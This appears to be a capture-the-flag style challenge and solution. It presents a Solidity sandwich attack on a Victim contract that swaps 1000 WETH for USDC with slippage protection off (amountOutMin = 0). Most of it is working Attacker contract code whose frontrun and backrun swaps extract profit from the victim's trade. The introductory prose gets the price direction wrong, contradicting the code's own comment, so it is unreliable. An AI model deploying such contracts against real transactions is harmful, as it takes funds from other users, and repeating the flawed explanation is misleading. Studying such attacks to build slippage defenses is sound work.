β SandwichSwap
Victim turns slippage protection off by setting amountOutMin = 0 swaps 1000 weth (token0) for usdc (token1)
function performSwap(address[] calldata path, uint256 deadline) public {
IUniswapV2Router(router).swapExactTokensForTokens(1000 * 1e18, 0, path, address(this), deadline);
}
To perform a sandwich attack, we implement frontrun and backrun:
In frontrun, we swap weth for usdc to push weth price higher
In victim's tx, victim swaps weth for usdc, which pushes weth price even higher
In backrun, we swap usdc for weth and take profit, since weth price is higher now
In conclusion, in frontrun we do the same swap as victim, and in backrun we reverse the swap.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "./interfaces/IERC20.sol";
/**
*
* SANDWICH ATTACK AGAINST A SWAP TRANSACTION
*
* We have two contracts: Victim and Attacker. Both contracts have an initial balance of 1000 WETH. The Victim contract
* will swap 1000 WETH for USDC, setting amountOutMin = 0.
* The challenge is use the Attacker contract to perform a sandwich attack on the victim's
* transaction to make profit.
*
*/
contract Attacker {
// This function will be called before the victim's transaction.
function frontrun(address router, address weth, address usdc, uint256 deadline) public {
// Approve router to spend WETH
uint256 wethBalance = IERC20(weth).balanceOf(address(this));
IERC20(weth).approve(router, wethBalance);
// Create path for WETH -> USDC swap
address[] memory path = new address[](2);
path[0] = weth;
path[1] = usdc;
// Swap WETH for USDC to increase the price of USDC
IUniswapV2Router(router).swapExactTokensForTokens(
wethBalance,
0, // amountOutMin
path,
address(this),
deadline
);
}
// This function will be called after the victim's transaction.
function backrun(address router, address weth, address usdc, uint256 deadline) public {
// Get USDC balance
uint256 usdcBalance = IERC20(usdc).balanceOf(address(this));
// Approve router to spend USDC
IERC20(usdc).approve(router, usdcBalance);
// Create path for USDC -> WETH swap
address[] memory path = new address[](2);
path[0] = usdc;
path[1] = weth;
// Swap USDC back to WETH at the higher price
IUniswapV2Router(router).swapExactTokensForTokens(
usdcBalance,
0, // amountOutMin
path,
address(this),
deadline
);
}
}
contract Victim {
address public immutable router;
constructor(address _router) {
router = _router;
}
function performSwap(address[] calldata path, uint256 deadline) public {
IUniswapV2Router(router).swapExactTokensForTokens(1000 * 1e18, 0, path, address(this), deadline);
}
}
interface IUniswapV2Router {
/**
* amountIn: the amount to use for swap.
* amountOutMin: the minimum amount of output tokens that must be received for the transaction not to revert.
* path: an array of token addresses. In our case, WETH and USDC.
* to: recipient address to receive the liquidity tokens.
* deadline: timestamp after which the transaction will revert.
*/
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
Last updated